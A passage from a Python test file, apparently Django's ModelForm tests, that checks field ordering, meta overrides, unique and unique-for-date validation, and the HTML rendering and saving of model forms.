            class Meta(SomeCategoryForm.Meta):
                exclude = ['url']

        self.assertHTMLEqual(
            str(SubclassMeta()),
            """<tr><th><label for="id_name">Name:</label></th>
<td><input id="id_name" type="text" name="name" maxlength="20" required /></td></tr>
<tr><th><label for="id_slug">Slug:</label></th>
<td><input id="id_slug" type="text" name="slug" maxlength="20" required /></td></tr>
<tr><th><label for="id_checkbox">Checkbox:</label></th>
<td><input type="checkbox" name="checkbox" id="id_checkbox" required /></td></tr>"""
        )

    def test_orderfields_form(self):
        class OrderFields(forms.ModelForm):
            class Meta:
                model = Category
                fields = ['url', 'name']

        self.assertEqual(list(OrderFields.base_fields),
                         ['url', 'name'])
        self.assertHTMLEqual(
            str(OrderFields()),
            """<tr><th><label for="id_url">The URL:</label></th>
<td><input id="id_url" type="text" name="url" maxlength="40" required /></td></tr>
<tr><th><label for="id_name">Name:</label></th>
<td><input id="id_name" type="text" name="name" maxlength="20" required /></td></tr>"""
        )

    def test_orderfields2_form(self):
        class OrderFields2(forms.ModelForm):
            class Meta:
                model = Category
                fields = ['slug', 'url', 'name']
                exclude = ['url']

        self.assertEqual(list(OrderFields2.base_fields),
                         ['slug', 'name'])


class FieldOverridesByFormMetaForm(forms.ModelForm):
    class Meta:
        model = Category
        fields = ['name', 'url', 'slug']
        widgets = {
            'name': forms.Textarea,
            'url': forms.TextInput(attrs={'class': 'url'})
        }
        labels = {
            'name': 'Title',
        }
        help_texts = {
            'slug': 'Watch out! Letters, numbers, underscores and hyphens only.',
        }
        error_messages = {
            'slug': {
                'invalid': (
                    "Didn't you read the help text? "
                    "We said letters, numbers, underscores and hyphens only!"
                )
            }
        }
        field_classes = {
            'url': forms.URLField,
        }


class TestFieldOverridesByFormMeta(SimpleTestCase):
    def test_widget_overrides(self):
        form = FieldOverridesByFormMetaForm()
        self.assertHTMLEqual(
            str(form['name']),
            '<textarea id="id_name" rows="10" cols="40" name="name" maxlength="20" required></textarea>',
        )
        self.assertHTMLEqual(
            str(form['url']),
            '<input id="id_url" type="text" class="url" name="url" maxlength="40" required />',
        )
        self.assertHTMLEqual(
            str(form['slug']),
            '<input id="id_slug" type="text" name="slug" maxlength="20" required />',
        )

    def test_label_overrides(self):
        form = FieldOverridesByFormMetaForm()
        self.assertHTMLEqual(
            str(form['name'].label_tag()),
            '<label for="id_name">Title:</label>',
        )
        self.assertHTMLEqual(
            str(form['url'].label_tag()),
            '<label for="id_url">The URL:</label>',
        )
        self.assertHTMLEqual(
            str(form['slug'].label_tag()),
            '<label for="id_slug">Slug:</label>',
        )

    def test_help_text_overrides(self):
        form = FieldOverridesByFormMetaForm()
        self.assertEqual(
            form['slug'].help_text,
            'Watch out! Letters, numbers, underscores and hyphens only.',
        )

    def test_error_messages_overrides(self):
        form = FieldOverridesByFormMetaForm(data={
            'name': 'Category',
            'url': 'http://www.example.com/category/',
            'slug': '!%#*@',
        })
        form.full_clean()

        error = [
            "Didn't you read the help text? "
            "We said letters, numbers, underscores and hyphens only!",
        ]
        self.assertEqual(form.errors, {'slug': error})

    def test_field_type_overrides(self):
        form = FieldOverridesByFormMetaForm()
        self.assertIs(Category._meta.get_field('url').__class__, models.CharField)
        self.assertIsInstance(form.fields['url'], forms.URLField)


class IncompleteCategoryFormWithFields(forms.ModelForm):
    """
    A form that replaces the model's url field with a custom one. This should
    prevent the model field's validation from being called.
    """
    url = forms.CharField(required=False)

    class Meta:
        fields = ('name', 'slug')
        model = Category


class IncompleteCategoryFormWithExclude(forms.ModelForm):
    """
    A form that replaces the model's url field with a custom one. This should
    prevent the model field's validation from being called.
    """
    url = forms.CharField(required=False)

    class Meta:
        exclude = ['url']
        model = Category


class ValidationTest(SimpleTestCase):
    def test_validates_with_replaced_field_not_specified(self):
        form = IncompleteCategoryFormWithFields(data={'name': 'some name', 'slug': 'some-slug'})
        assert form.is_valid()

    def test_validates_with_replaced_field_excluded(self):
        form = IncompleteCategoryFormWithExclude(data={'name': 'some name', 'slug': 'some-slug'})
        assert form.is_valid()

    def test_notrequired_overrides_notblank(self):
        form = CustomWriterForm({})
        assert form.is_valid()


class UniqueTest(TestCase):
    """
    unique/unique_together validation.
    """
    def setUp(self):
        self.writer = Writer.objects.create(name='Mike Royko')

    def test_simple_unique(self):
        form = ProductForm({'slug': 'teddy-bear-blue'})
        self.assertTrue(form.is_valid())
        obj = form.save()
        form = ProductForm({'slug': 'teddy-bear-blue'})
        self.assertEqual(len(form.errors), 1)
        self.assertEqual(form.errors['slug'], ['Product with this Slug already exists.'])
        form = ProductForm({'slug': 'teddy-bear-blue'}, instance=obj)
        self.assertTrue(form.is_valid())

    def test_unique_together(self):
        """ModelForm test of unique_together constraint"""
        form = PriceForm({'price': '6.00', 'quantity': '1'})
        self.assertTrue(form.is_valid())
        form.save()
        form = PriceForm({'price': '6.00', 'quantity': '1'})
        self.assertFalse(form.is_valid())
        self.assertEqual(len(form.errors), 1)
        self.assertEqual(form.errors['__all__'], ['Price with this Price and Quantity already exists.'])

    def test_multiple_field_unique_together(self):
        """
        When the same field is involved in multiple unique_together
        constraints, we need to make sure we don't remove the data for it
        before doing all the validation checking (not just failing after
        the first one).
        """
        class TripleForm(forms.ModelForm):
            class Meta:
                model = Triple
                fields = '__all__'

        Triple.objects.create(left=1, middle=2, right=3)

        form = TripleForm({'left': '1', 'middle': '2', 'right': '3'})
        self.assertFalse(form.is_valid())

        form = TripleForm({'left': '1', 'middle': '3', 'right': '1'})
        self.assertTrue(form.is_valid())

    @skipUnlessDBFeature('supports_nullable_unique_constraints')
    def test_unique_null(self):
        title = 'I May Be Wrong But I Doubt It'
        form = BookForm({'title': title, 'author': self.writer.pk})
        self.assertTrue(form.is_valid())
        form.save()
        form = BookForm({'title': title, 'author': self.writer.pk})
        self.assertFalse(form.is_valid())
        self.assertEqual(len(form.errors), 1)
        self.assertEqual(form.errors['__all__'], ['Book with this Title and Author already exists.'])
        form = BookForm({'title': title})
        self.assertTrue(form.is_valid())
        form.save()
        form = BookForm({'title': title})
        self.assertTrue(form.is_valid())

    def test_inherited_unique(self):
        title = 'Boss'
        Book.objects.create(title=title, author=self.writer, special_id=1)
        form = DerivedBookForm({'title': 'Other', 'author': self.writer.pk, 'special_id': '1', 'isbn': '12345'})
        self.assertFalse(form.is_valid())
        self.assertEqual(len(form.errors), 1)
        self.assertEqual(form.errors['special_id'], ['Book with this Special id already exists.'])

    def test_inherited_unique_together(self):
        title = 'Boss'
        form = BookForm({'title': title, 'author': self.writer.pk})
        self.assertTrue(form.is_valid())
        form.save()
        form = DerivedBookForm({'title': title, 'author': self.writer.pk, 'isbn': '12345'})
        self.assertFalse(form.is_valid())
        self.assertEqual(len(form.errors), 1)
        self.assertEqual(form.errors['__all__'], ['Book with this Title and Author already exists.'])

    def test_abstract_inherited_unique(self):
        title = 'Boss'
        isbn = '12345'
        DerivedBook.objects.create(title=title, author=self.writer, isbn=isbn)
        form = DerivedBookForm({'title': 'Other', 'author': self.writer.pk, 'isbn': isbn})
        self.assertFalse(form.is_valid())
        self.assertEqual(len(form.errors), 1)
        self.assertEqual(form.errors['isbn'], ['Derived book with this Isbn already exists.'])

    def test_abstract_inherited_unique_together(self):
        title = 'Boss'
        isbn = '12345'
        DerivedBook.objects.create(title=title, author=self.writer, isbn=isbn)
        form = DerivedBookForm({
            'title': 'Other',
            'author': self.writer.pk,
            'isbn': '9876',
            'suffix1': '0',
            'suffix2': '0'
        })
        self.assertFalse(form.is_valid())
        self.assertEqual(len(form.errors), 1)
        self.assertEqual(form.errors['__all__'],
                         ['Derived book with this Suffix1 and Suffix2 already exists.'])

    def test_explicitpk_unspecified(self):
        """Test for primary_key being in the form and failing validation."""
        form = ExplicitPKForm({'key': '', 'desc': ''})
        self.assertFalse(form.is_valid())

    def test_explicitpk_unique(self):
        """Ensure keys and blank character strings are tested for uniqueness."""
        form = ExplicitPKForm({'key': 'key1', 'desc': ''})
        self.assertTrue(form.is_valid())
        form.save()
        form = ExplicitPKForm({'key': 'key1', 'desc': ''})
        self.assertFalse(form.is_valid())
        if connection.features.interprets_empty_strings_as_nulls:
            self.assertEqual(len(form.errors), 1)
            self.assertEqual(form.errors['key'], ['Explicit pk with this Key already exists.'])
        else:
            self.assertEqual(len(form.errors), 3)
            self.assertEqual(form.errors['__all__'], ['Explicit pk with this Key and Desc already exists.'])
            self.assertEqual(form.errors['desc'], ['Explicit pk with this Desc already exists.'])
            self.assertEqual(form.errors['key'], ['Explicit pk with this Key already exists.'])

    def test_unique_for_date(self):
        p = Post.objects.create(
            title="Django 1.0 is released", slug="Django 1.0",
            subtitle="Finally", posted=datetime.date(2008, 9, 3),
        )
        form = PostForm({'title': "Django 1.0 is released", 'posted': '2008-09-03'})
        self.assertFalse(form.is_valid())
        self.assertEqual(len(form.errors), 1)
        self.assertEqual(form.errors['title'], ['Title must be unique for Posted date.'])
        form = PostForm({'title': "Work on Django 1.1 begins", 'posted': '2008-09-03'})
        self.assertTrue(form.is_valid())
        form = PostForm({'title': "Django 1.0 is released", 'posted': '2008-09-04'})
        self.assertTrue(form.is_valid())
        form = PostForm({'slug': "Django 1.0", 'posted': '2008-01-01'})
        self.assertFalse(form.is_valid())
        self.assertEqual(len(form.errors), 1)
        self.assertEqual(form.errors['slug'], ['Slug must be unique for Posted year.'])
        form = PostForm({'subtitle': "Finally", 'posted': '2008-09-30'})
        self.assertFalse(form.is_valid())
        self.assertEqual(form.errors['subtitle'], ['Subtitle must be unique for Posted month.'])
        data = {'subtitle': "Finally", "title": "Django 1.0 is released", "slug": "Django 1.0", 'posted': '2008-09-03'}
        form = PostForm(data, instance=p)
        self.assertTrue(form.is_valid())
        form = PostForm({'title': "Django 1.0 is released"})
        self.assertFalse(form.is_valid())
        self.assertEqual(len(form.errors), 1)
        self.assertEqual(form.errors['posted'], ['This field is required.'])

    def test_unique_for_date_in_exclude(self):
        """
        If the date for unique_for_* constraints is excluded from the
        ModelForm (in this case 'posted' has editable=False, then the
        constraint should be ignored.
        """
        class DateTimePostForm(forms.ModelForm):
            class Meta:
                model = DateTimePost
                fields = '__all__'

        DateTimePost.objects.create(
            title="Django 1.0 is released", slug="Django 1.0",
            subtitle="Finally", posted=datetime.datetime(2008, 9, 3, 10, 10, 1),
        )
        # 'title' has unique_for_date='posted'
        form = DateTimePostForm({'title': "Django 1.0 is released", 'posted': '2008-09-03'})
        self.assertTrue(form.is_valid())
        # 'slug' has unique_for_year='posted'
        form = DateTimePostForm({'slug': "Django 1.0", 'posted': '2008-01-01'})
        self.assertTrue(form.is_valid())
        # 'subtitle' has unique_for_month='posted'
        form = DateTimePostForm({'subtitle': "Finally", 'posted': '2008-09-30'})
        self.assertTrue(form.is_valid())

    def test_inherited_unique_for_date(self):
        p = Post.objects.create(
            title="Django 1.0 is released", slug="Django 1.0",
            subtitle="Finally", posted=datetime.date(2008, 9, 3),
        )
        form = DerivedPostForm({'title': "Django 1.0 is released", 'posted': '2008-09-03'})
        self.assertFalse(form.is_valid())
        self.assertEqual(len(form.errors), 1)
        self.assertEqual(form.errors['title'], ['Title must be unique for Posted date.'])
        form = DerivedPostForm({'title': "Work on Django 1.1 begins", 'posted': '2008-09-03'})
        self.assertTrue(form.is_valid())
        form = DerivedPostForm({'title': "Django 1.0 is released", 'posted': '2008-09-04'})
        self.assertTrue(form.is_valid())
        form = DerivedPostForm({'slug': "Django 1.0", 'posted': '2008-01-01'})
        self.assertFalse(form.is_valid())
        self.assertEqual(len(form.errors), 1)
        self.assertEqual(form.errors['slug'], ['Slug must be unique for Posted year.'])
        form = DerivedPostForm({'subtitle': "Finally", 'posted': '2008-09-30'})
        self.assertFalse(form.is_valid())
        self.assertEqual(form.errors['subtitle'], ['Subtitle must be unique for Posted month.'])
        data = {'subtitle': "Finally", "title": "Django 1.0 is released", "slug": "Django 1.0", 'posted': '2008-09-03'}
        form = DerivedPostForm(data, instance=p)
        self.assertTrue(form.is_valid())

    def test_unique_for_date_with_nullable_date(self):
        class FlexDatePostForm(forms.ModelForm):
            class Meta:
                model = FlexibleDatePost
                fields = '__all__'

        p = FlexibleDatePost.objects.create(
            title="Django 1.0 is released", slug="Django 1.0",
            subtitle="Finally", posted=datetime.date(2008, 9, 3),
        )

        form = FlexDatePostForm({'title': "Django 1.0 is released"})
        self.assertTrue(form.is_valid())
        form = FlexDatePostForm({'slug': "Django 1.0"})
        self.assertTrue(form.is_valid())
        form = FlexDatePostForm({'subtitle': "Finally"})
        self.assertTrue(form.is_valid())
        data = {'subtitle': "Finally", "title": "Django 1.0 is released", "slug": "Django 1.0"}
        form = FlexDatePostForm(data, instance=p)
        self.assertTrue(form.is_valid())

    def test_override_unique_message(self):
        class CustomProductForm(ProductForm):
            class Meta(ProductForm.Meta):
                error_messages = {
                    'slug': {
                        'unique': "%(model_name)s's %(field_label)s not unique.",
                    }
                }

        Product.objects.create(slug='teddy-bear-blue')
        form = CustomProductForm({'slug': 'teddy-bear-blue'})
        self.assertEqual(len(form.errors), 1)
        self.assertEqual(form.errors['slug'], ["Product's Slug not unique."])

    def test_override_unique_together_message(self):
        class CustomPriceForm(PriceForm):
            class Meta(PriceForm.Meta):
                error_messages = {
                    NON_FIELD_ERRORS: {
                        'unique_together': "%(model_name)s's %(field_labels)s not unique.",
                    }
                }

        Price.objects.create(price=6.00, quantity=1)
        form = CustomPriceForm({'price': '6.00', 'quantity': '1'})
        self.assertEqual(len(form.errors), 1)
        self.assertEqual(form.errors[NON_FIELD_ERRORS], ["Price's Price and Quantity not unique."])

    def test_override_unique_for_date_message(self):
        class CustomPostForm(PostForm):
            class Meta(PostForm.Meta):
                error_messages = {
                    'title': {
                        'unique_for_date': (
                            "%(model_name)s's %(field_label)s not unique "
                            "for %(date_field_label)s date."
                        ),
                    }
                }

        Post.objects.create(
            title="Django 1.0 is released", slug="Django 1.0",
            subtitle="Finally", posted=datetime.date(2008, 9, 3),
        )
        form = CustomPostForm({'title': "Django 1.0 is released", 'posted': '2008-09-03'})
        self.assertEqual(len(form.errors), 1)
        self.assertEqual(form.errors['title'], ["Post's Title not unique for Posted date."])


class ModelFormBasicTests(TestCase):
    def create_basic_data(self):
        self.c1 = Category.objects.create(
            name="Entertainment", slug="entertainment", url="entertainment")
        self.c2 = Category.objects.create(
            name="It's a test", slug="its-test", url="test")
        self.c3 = Category.objects.create(
            name="Third test", slug="third-test", url="third")
        self.w_royko = Writer.objects.create(name='Mike Royko')
        self.w_woodward = Writer.objects.create(name='Bob Woodward')

    def test_base_form(self):
        self.assertEqual(Category.objects.count(), 0)
        f = BaseCategoryForm()
        self.assertHTMLEqual(
            str(f),
            """<tr><th><label for="id_name">Name:</label></th>
<td><input id="id_name" type="text" name="name" maxlength="20" required /></td></tr>
<tr><th><label for="id_slug">Slug:</label></th>
<td><input id="id_slug" type="text" name="slug" maxlength="20" required /></td></tr>
<tr><th><label for="id_url">The URL:</label></th>
<td><input id="id_url" type="text" name="url" maxlength="40" required /></td></tr>"""
        )
        self.assertHTMLEqual(
            str(f.as_ul()),
            """<li><label for="id_name">Name:</label> <input id="id_name" type="text" name="name" maxlength="20" required /></li>
<li><label for="id_slug">Slug:</label> <input id="id_slug" type="text" name="slug" maxlength="20" required /></li>
<li><label for="id_url">The URL:</label> <input id="id_url" type="text" name="url" maxlength="40" required /></li>"""
        )
        self.assertHTMLEqual(
            str(f["name"]),
            """<input id="id_name" type="text" name="name" maxlength="20" required />""")

    def test_auto_id(self):
        f = BaseCategoryForm(auto_id=False)
        self.assertHTMLEqual(
            str(f.as_ul()),
            """<li>Name: <input type="text" name="name" maxlength="20" required /></li>
<li>Slug: <input type="text" name="slug" maxlength="20" required /></li>
<li>The URL: <input type="text" name="url" maxlength="40" required /></li>"""
        )

    def test_initial_values(self):
        self.create_basic_data()
        # Initial values can be provided for model forms
        f = ArticleForm(
            auto_id=False,
            initial={
                'headline': 'Your headline here',
                'categories': [str(self.c1.id), str(self.c2.id)]
            })
        self.assertHTMLEqual(
            f.as_ul(),
            '''<li>Headline: <input type="text" name="headline" value="Your headline here" maxlength="50" required /></li>
<li>Slug: <input type="text" name="slug" maxlength="50" required /></li>
<li>Pub date: <input type="text" name="pub_date" required /></li>
<li>Writer: <select name="writer" required>
<option value="" selected="selected">---------</option>
<option value="%s">Bob Woodward</option>
<option value="%s">Mike Royko</option>
</select></li>
<li>Article: <textarea rows="10" cols="40" name="article" required></textarea></li>
<li>Categories: <select multiple="multiple" name="categories">
<option value="%s" selected="selected">Entertainment</option>
<option value="%s" selected="selected">It&#39;s a test</option>
<option value="%s">Third test</option>
</select></li>
<li>Status: <select name="status">
<option value="" selected="selected">---------</option>
<option value="1">Draft</option>
<option value="2">Pending</option>
<option value="3">Live</option>
</select></li>''' % (self.w_woodward.pk, self.w_royko.pk, self.c1.pk, self.c2.pk, self.c3.pk))

        # When the ModelForm is passed an instance, that instance's current values are
        # inserted as 'initial' data in each Field.
        f = RoykoForm(auto_id=False, instance=self.w_royko)
        self.assertHTMLEqual(
            six.text_type(f),
            '''<tr><th>Name:</th><td><input type="text" name="name" value="Mike Royko" maxlength="50" required /><br />
            <span class="helptext">Use both first and last names.</span></td></tr>'''
        )

        art = Article.objects.create(
            headline='Test article',
            slug='test-article',
            pub_date=datetime.date(1988, 1, 4),
            writer=self.w_royko,
            article='Hello.'
        )
        art_id_1 = art.id

        f = ArticleForm(auto_id=False, instance=art)
        self.assertHTMLEqual(
            f.as_ul(),
            '''<li>Headline: <input type="text" name="headline" value="Test article" maxlength="50" required /></li>
<li>Slug: <input type="text" name="slug" value="test-article" maxlength="50" required /></li>
<li>Pub date: <input type="text" name="pub_date" value="1988-01-04" required /></li>
<li>Writer: <select name="writer" required>
<option value="">---------</option>
<option value="%s">Bob Woodward</option>
<option value="%s" selected="selected">Mike Royko</option>
</select></li>
<li>Article: <textarea rows="10" cols="40" name="article" required>Hello.</textarea></li>
<li>Categories: <select multiple="multiple" name="categories">
<option value="%s">Entertainment</option>
<option value="%s">It&#39;s a test</option>
<option value="%s">Third test</option>
</select></li>
<li>Status: <select name="status">
<option value="" selected="selected">---------</option>
<option value="1">Draft</option>
<option value="2">Pending</option>
<option value="3">Live</option>
</select></li>''' % (self.w_woodward.pk, self.w_royko.pk, self.c1.pk, self.c2.pk, self.c3.pk))

        f = ArticleForm({
            'headline': 'Test headline',
            'slug': 'test-headline',
            'pub_date': '1984-02-06',
            'writer': six.text_type(self.w_royko.pk),
            'article': 'Hello.'
        }, instance=art)
        self.assertEqual(f.errors, {})
        self.assertTrue(f.is_valid())
        test_art = f.save()
        self.assertEqual(test_art.id, art_id_1)
        test_art = Article.objects.get(id=art_id_1)
        self.assertEqual(test_art.headline, 'Test headline')

    def test_m2m_initial_callable(self):
        """
        Regression for #10349: A callable can be provided as the initial value for an m2m field
        """
        self.maxDiff = 1200
        self.create_basic_data()

        # Set up a callable initial value
        def formfield_for_dbfield(db_field, **kwargs):
            if db_field.name == 'categories':
                kwargs['initial'] = lambda: Category.objects.all().order_by('name')[:2]
            return db_field.formfield(**kwargs)

        # Create a ModelForm, instantiate it, and check that the output is as expected
        ModelForm = modelform_factory(Article, fields=['headline', 'categories'],
                                      formfield_callback=formfield_for_dbfield)
        form = ModelForm()
        self.assertHTMLEqual(
            form.as_ul(),
            """<li><label for="id_headline">Headline:</label>
<input id="id_headline" type="text" name="headline" maxlength="50" required /></li>
<li><label for="id_categories">Categories:</label>
<select multiple="multiple" name="categories" id="id_categories">
<option value="%d" selected="selected">Entertainment</option>
<option value="%d" selected="selected">It&39;s a test</option>
<option value="%d">Third test</option>
</select></li>"""
            % (self.c1.pk, self.c2.pk, self.c3.pk))

    def test_basic_creation(self):
        self.assertEqual(Category.objects.count(), 0)
        f = BaseCategoryForm({'name': 'Entertainment',
                              'slug': 'entertainment',
                              'url': 'entertainment'})
        self.assertTrue(f.is_valid())
        self.assertEqual(f.cleaned_data['name'], 'Entertainment')
        self.assertEqual(f.cleaned_data['slug'], 'entertainment')
        self.assertEqual(f.cleaned_data['url'], 'entertainment')
        c1 = f.save()
        # Testing whether the same object is returned from the
        # ORM... not the fastest way...

        self.assertEqual(Category.objects.count(), 1)
        self.assertEqual(c1, Category.objects.all()[0])
        self.assertEqual(c1.name, "Entertainment")

    def test_save_commit_false(self):
        # If you call save() with commit=False, then it will return an object that
        # hasn't yet been saved to the database. In this case, it's up to you to call
        # save() on the resulting model instance.
        f = BaseCategoryForm({'name': 'Third test', 'slug': 'third-test', 'url': 'third'})
        self.assertTrue(f.is_valid())
        c1 = f.save(commit=False)
        self.assertEqual(c1.name, "Third test")
        self.assertEqual(Category.objects.count(), 0)
        c1.save()
        self.assertEqual(Category.objects.count(), 1)

    def test_save_with_data_errors(self):
        # If you call save() with invalid data, you'll get a ValueError.
        f = BaseCategoryForm({'name': '', 'slug': 'not a slug!', 'url': 'foo'})
        self.assertEqual(f.errors['name'], ['This field is required.'])
        self.assertEqual(
            f.errors['slug'],
            ["Enter a valid 'slug' consisting of letters, numbers, underscores or hyphens."]
        )
        self.assertEqual(f.cleaned_data, {'url': 'foo'})
        with self.assertRaises(ValueError):
            f.save()
        f = BaseCategoryForm({'name': '', 'slug': '', 'url': 'foo'})
        with self.assertRaises(ValueError):
            f.save()

    def test_multi_fields(self):
        self.create_basic_data()
        self.maxDiff = None
        # ManyToManyFields are represented by a MultipleChoiceField, ForeignKeys and any
        # fields with the 'choices' attribute are represented by a ChoiceField.
        f = ArticleForm(auto_id=False)
        self.assertHTMLEqual(
            six.text_type(f),
            '''<tr><th>Headline:</th><td><input type="text" name="headline" maxlength="50" required /></td></tr>
<tr><th>Slug:</th><td><input type="text" name="slug" maxlength="50" required /></td></tr>
<tr><th>Pub date:</th><td><input type="text" name="pub_date" required /></td></tr>
<tr><th>Writer:</th><td><select name="writer" required>
<option value="" selected="selected">---------</option>
<option value="%s">Bob Woodward</option>
<option value="%s">Mike Royko</option>
</select></td></tr>
<tr><th>Article:</th><td><textarea rows="10" cols="40" name="article" required></textarea></td></tr>
<tr><th>Categories:</th><td><select multiple="multiple" name="categories">
<option value="%s">Entertainment</option>
<option value="%s">It&#39;s a test</option>
<option value="%s">Third test</option>
</select></td></tr>
<tr><th>Status:</th><td><select name="status">
<option value="" selected="selected">---------</option>
<option value="1">Draft</option>
<option value="2">Pending</option>
<option value="3">Live</option>
</select></td></tr>''' % (self.w_woodward.pk, self.w_royko.pk, self.c1.pk, self.c2.pk, self.c3.pk))

        # Add some categories and test the many-to-many form output.
        new_art = Article.objects.create(
            article="Hello.", headline="New headline", slug="new-headline",
            pub_date=datetime.date(1988, 1, 4), writer=self.w_royko)
        new_art.categories.add(Category.objects.get(name='Entertainment'))
        self.assertQuerysetEqual(new_art.categories.all(), ["Entertainment"])
        f = ArticleForm(auto_id=False, instance=new_art)
        self.assertHTMLEqual(
            f.as_ul(),
            '''<li>Headline: <input type="text" name="headline" value="New headline" maxlength="50" required /></li>
<li>Slug: <input type="text" name="slug" value="new-headline" maxlength="50" required /></li>
<li>Pub date: <input type="text" name="pub_date" value="1988-01-04" required /></li>
<li>Writer: <select name="writer" required>
<option value="">---------</option>
<option value="%s">Bob Woodward</option>
<option value="%s" selected="selected">Mike Royko</option>
</select></li>
<li>Article: <textarea rows="10" cols="40" name="article" required>Hello.</textarea></li>
<li>Categories: <select multiple="multiple" name="categories">
<option value="%s" selected="selected">Entertainment</option>
<option value="%s">It&#39;s a test</option>
<option value="%s">Third test</option>
</select></li>
<li>Status: <select name="status">
<option value="" selected="selected">---------</option>
<option value="1">Draft</option>
<option value="2">Pending</option>
<option value="3">Live</option>
</select></li>''' % (self.w_woodward.pk, self.w_royko.pk, self.c1.pk, self.c2.pk, self.c3.pk))

    def test_subset_fields(self):
        # You can restrict a form to a subset of the complete list of fields
        # by providing a 'fields' argument. If you try to save a
        # model created with such a form, you need to ensure that the fields
        # that are _not_ on the form have default values, or are allowed to have
        # a value of None. If a field isn't specified on a form, the object created
        # from the form can't provide a value for that field!
        class PartialArticleForm(forms.ModelForm):
            class Meta:
                model = Article
                fields = ('headline', 'pub_date')

        f = PartialArticleForm(auto_id=False)
        self.assertHTMLEqual(
            six.text_type(f),
            '''<tr><th>Headline:</th><td><input type="text" name="headline" maxlength="50" required /></td></tr>
<tr><th>Pub date:</th><td><input type="text" name="pub_date" required /></td></tr>''')

        # You can create a form over a subset of the available fields
        # by specifying a 'fields' argument to form_for_instance.
        class PartialArticleFormWithSlug(forms.ModelForm):
            class Meta:
                model = Article
                fields = ('headline', 'slug', 'pub_date')

        w_royko = Writer.objects.create(name='Mike Royko')
        art = Article.objects.create(
            article="Hello.", headline="New headline", slug="new-headline",
            pub_date=datetime.date(1988, 1, 4), writer=w_royko)
        f = PartialArticleFormWithSlug({
            'headline': 'New headline',
            'slug': 'new-headline',
            'pub_date': '1988-01-04'
        }, auto_id=False, instance=art)
        self.assertHTMLEqual(
            f.as_ul(),
            '''<li>Headline: <input type="text" name="headline" value="New headline" maxlength="50" required /></li>
<li>Slug: <input type="text" name="slug" value="new-headline" maxlength="50" required /></li>
<li>Pub date: <input type="text" name="pub_date" value="1988-01-04" required /></li>'''
        )
        self.assertTrue(f.is_valid())
        new_art = f.save()
        self.assertEqual(new_art.id, art.id)
        new_art = Article.objects.get(id=art.id)
        self.assertEqual(new_art.headline, 'New headline')

    def test_m2m_editing(self):
        self.create_basic_data()
        form_data = {
            'headline': 'New headline',
            'slug': 'new-headline',
            'pub_date': '1988-01-04',
            'writer': six.text_type(self.w_royko.pk),
            'article': 'Hello.',
            'categories': [six.text_type(self.c1.id), six.text_type(self.c2.id)]
        }
        # Create a new article, with categories, via the form.
        f = ArticleForm(form_data)
        new_art = f.save()
        new_art = Article.objects.get(id=new_art.id)
        art_id_1 = new_art.id
        self.assertQuerysetEqual(new_art.categories.order_by('name'), ["Entertainment", "It's a test"])

        # Now, submit form data with no categories. This deletes the existing categories.
        form_data['categories'] = []
        f = ArticleForm(form_data, instance=new_art)
        new_art = f.save()
        self.assertEqual(new_art.id, art_id_1)
        new_art = Article.objects.get(id=art_id_1)
        self.assertQuerysetEqual(new_art.categories.all(), [])

        # Create a new article, with no categories, via the form.
        f = ArticleForm(form_data)
        new_art = f.save()
        art_id_2 = new_art.id
        self.assertNotIn(art_id_2, (None, art_id_1))
        new_art = Article.objects.get(id=art_id_2)
        self.assertQuerysetEqual(new_art.categories.all(), [])

        # Create a new article, with categories, via the form, but use commit=False.
        # The m2m data won't be saved until save_m2m() is invoked on the form.
        form_data['categories'] = [six.text_type(self.c1.id), six.text_type(self.c2.id)]
        f = ArticleForm(form_data)
        new_art = f.save(commit=False)

        # Manually save the instance
        new_art.save()
        art_id_3 = new_art.id
        self.assertNotIn(art_id_3, (None, art_id_1, art_id_2))

        # The instance doesn't have m2m data yet
        new_art = Article.objects.get(id=art_id_3)
        self.assertQuerysetEqual(new_art.categories.all(), [])

        # Save the m2m data on the form
        f.save_m2m()
        self.assertQuerysetEqual(new_art.categories.order_by('name'), ["Entertainment", "It's a test"])

    def test_custom_form_fields(self):
        # Here, we define a custom ModelForm. Because it happens to have the same fields as
        # the Category model, we can just call the form's save() to apply its changes to an
        # existing Category instance.
        class ShortCategory(forms.ModelForm):
            name = forms.CharField(max_length=5)
            slug = forms.CharField(max_length=5)
            url = forms.CharField(max_length=3)

            class Meta:
                model = Category
                fields = '__all__'

        cat = Category.objects.create(name='Third test')
        form = ShortCategory({'name': 'Third', 'slug': 'third', 'url': '3rd'}, instance=cat)
        self.assertEqual(form.save().name, 'Third')
        self.assertEqual(Category.objects.get(id=cat.id).name, 'Third')

    def test_runtime_choicefield_populated(self):
        self.maxDiff = None
        # Here, we demonstrate that choices for a ForeignKey ChoiceField are determined
        # at runtime, based on the data in the database when the form is displayed, not
        # the data in the database when the form is instantiated.
        self.create_basic_data()
        f = ArticleForm(auto_id=False)
        self.assertHTMLEqual(
            f.as_ul(),
            '''<li>Headline: <input type="text" name="headline" maxlength="50" required /></li>
<li>Slug: <input type="text" name="slug" maxlength="50" required /></li>
<li>Pub date: <input type="text" name="pub_date" required /></li>
<li>Writer: <select name="writer" required>
<option value="" selected="selected">---------</option>
<option value="%s">Bob Woodward</option>
<option value="%s">Mike Royko</option>
</select></li>
<li>Article: <textarea rows="10" cols="40" name="article" required></textarea></li>
<li>Categories: <select multiple="multiple" name="categories">
<option value="%s">Entertainment</option>
<option value="%s">It&#39;s a test</option>
<option value="%s">Third test</option>
</select> </li>
<li>Status: <select name="status">
<option value="" selected="selected">---------</option>
<option value="1">Draft</option>
<option value="2">Pending</option>
<option value="3">Live</option>
</select></li>''' % (self.w_woodward.pk, self.w_royko.pk, self.c1.pk, self.c2.pk, self.c3.pk))

        c4 = Category.objects.create(name='Fourth', url='4th')
        w_bernstein = Writer.objects.create(name='Carl Bernstein')
        self.assertHTMLEqual(
            f.as_ul(),
            '''<li>Headline: <input type="text" name="headline" maxlength="50" required /></li>
<li>Slug: <input type="text" name="slug" maxlength="50" required /></li>
<li>Pub date: <input type="text" name="pub_date" required /></li>
<li>Writer: <select name="writer" required>
<option value="" selected="selected">---------</option>
<option value="%s">Bob Woodward</option>
<option value="%s">Carl Bernstein</option>
<option value="%s">Mike Royko</option>
</select></li>
<li>Article: <textarea rows="10" cols="40" name="article" required></textarea></li>
<li>Categories: <select multiple="multiple" name="categories">
<option value="%s">Entertainment</option>
<option value="%s">It&#39;s a test</option>
<option value="%s">Third test</option>
<option value="%s">Fourth</option>
</select></li>
<li>Status: <select name="status">
<option value="" selected="selected">---------</option>
<option value="1">Draft</option>
<option value="2">Pending</option>
<option value="3">Live</option>
</select></li>''' % (self.w_woodward.pk, w_bernstein.pk, self.w_royko.pk, self.c1.pk, self.c2.pk, self.c3.pk, c4.pk))


